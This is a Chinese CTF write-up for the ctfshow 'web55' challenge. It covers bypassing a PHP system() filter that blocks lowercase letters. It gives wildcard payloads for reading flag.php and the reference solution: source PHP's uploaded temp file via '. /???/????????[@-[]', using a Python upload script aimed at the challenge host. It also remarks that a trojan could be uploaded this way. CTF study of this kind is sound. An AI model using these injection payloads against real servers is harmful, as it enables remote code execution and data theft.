信息收集
這里把小寫字母都過濾了,眾所周知linux是大小寫區分的,沒有小寫字母根本整不出來命令
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
首先想到了與或非繞過,執行未果,想到之前寫道過eval會先執行與或非,然后將字符當命令執行,不知道為什么這機制這么特殊。沒有eval這個方法用不了。
看過上題的參考答案,我們看看能不能在/bin/
里面找一個命令來讀flag.php
解題
文件讀取
首先我看到了/bin/7z
,很遺憾,雖然/???/7?
可以精確指向7z,但是這個工具需要參數,而參數不能用?
代替
但確認了,其實目錄也可以用?
替代,那么這個方法就有可行性。照這個很快,因為我們需要的是帶有數字的命令,否則很難指向一個唯一的命令,畢竟沒有小寫字母可用
繼續找bin里的命令,a里面沒什么可用的命令,直到找到這個
遇到一個奇怪的現象,base64無法成功執行,base32卻可以
都拿去試試,反正大膽假設,小心求證
當我在自己的機器上使用which base64
時,得到的結果是/usr/bin/base64
,但在題目靶機上/usr/bin
里沒有
找到一個diff3,本以為能用,但是指向不唯一,用不了。大多???2???的也是用不了,因為難以指向唯一的命令
html2markdown和markdown2在本機上可用,但不能解題
?c=/???/????64 ????.???
?c=/???/????32 ????.???
百度一個base64解密,或者用python解密
import base64
print(base64.b64decode("這里寫base64編碼"))
用不了寫這個,這個更通用,打印結果也好看些。上面那個簡單好記
import base64
print(base64.b64decode("這里寫base64編碼".encode('utf-8')).decode('utf-8'))
壓縮包
無意間找到一個lz4,想試試有什么用,于是桌面出現了一個壓縮包一樣的東西,雖然解題時用不了,但是為解題打開了新思路
使用命令ls / | grep zip
bunzip2
,和bzip2
符合條件,bunzip2
本地使用排除,bzip2
將原來的文件替換為一個.bz2
壓縮包
p7zip
符合條件,壓縮得到一個.7z
壓縮包,但是靶機應該沒有,下載不到壓縮包
壓縮包方案失敗,沒有下載到任何壓縮包
參考答案
讓我康康都寫了啥啊,這么大一坨
簡單來說就是:
-
通過post上傳文件,此時php會在linux里的零時文件夾保存文件,且文件一定是php加上六個隨機的字符,且這6個隨機的字符會出現大寫的情況。例如:
/tmp/phpAsDZCc
一般情況下,Linux文件和文件夾的命名都是小寫字母,所以這里的大寫字母非常特殊 -
shell下支持使用
.
或source
來執行shell腳本文件,也就是.sh文件,例如. code.sh
或source code.sh
(注意:.
的點后面有空格) -
linux支持glob通配符代替文件名,詳情看這篇博客:Linux雜談之Glob文件名模式匹配
規則里提到了[]
,例如[A-Z]匹配A-Z中任意一個,查ASCII碼表,@-[
之間包含了所有的大寫字母,所以命令寫作[@-[]
,這個命令表示匹配一個大寫字母、@
和[
將大寫字母匹配符[@-[]
替換六個隨機字符中的任意一個
構造payload:
. /???/????????[@-[]
接下來構造一個腳本上傳文件,我這里寫的是python代碼。我不是不會html,而是在學校里學的全還給老師了。而且那個玩意構造起來還挺麻煩的,要查好多資料。其他腳本語言應該也是可以構造類似腳本的,人生苦短,我直接用python就好
當然,都能傳文件了,你傳木馬也行
import requests
# http不要s
url = "http://101c8735-c6ce-4798-afa2-2a3eb20313ec.challenge.ctf.show/"
payload = ". /???/????????[@-[]"
file = {"file": "tac flag.php"
}post_url = url + "?c=" + payload
response = requests.request("POST", post_url, files=file)
print(response.text)
多試幾次,直到出現最后一個字母是大寫的隨機文件,就能成功讀取到文件了
補充知識
PHP 默認的文件上傳處理機制:
PHP 內置了對 HTTP 文件上傳的支持,其行為由 php.ini 的配置決定:
file_uploads = On:默認開啟文件上傳功能。
upload_tmp_dir:指定臨時文件存儲目錄(如 /tmp),上傳的文件會先存至此目錄。
max_file_uploads 和 post_max_size:限制上傳文件數量和大小。
關鍵點:即使開發者未在代碼中編寫文件上傳邏輯,PHP 仍會自動接收上傳的文件,并生成臨時文件。這是 PHP 協議層的內置行為,與業務代碼無關。
web54 ?? 目錄 ?? web56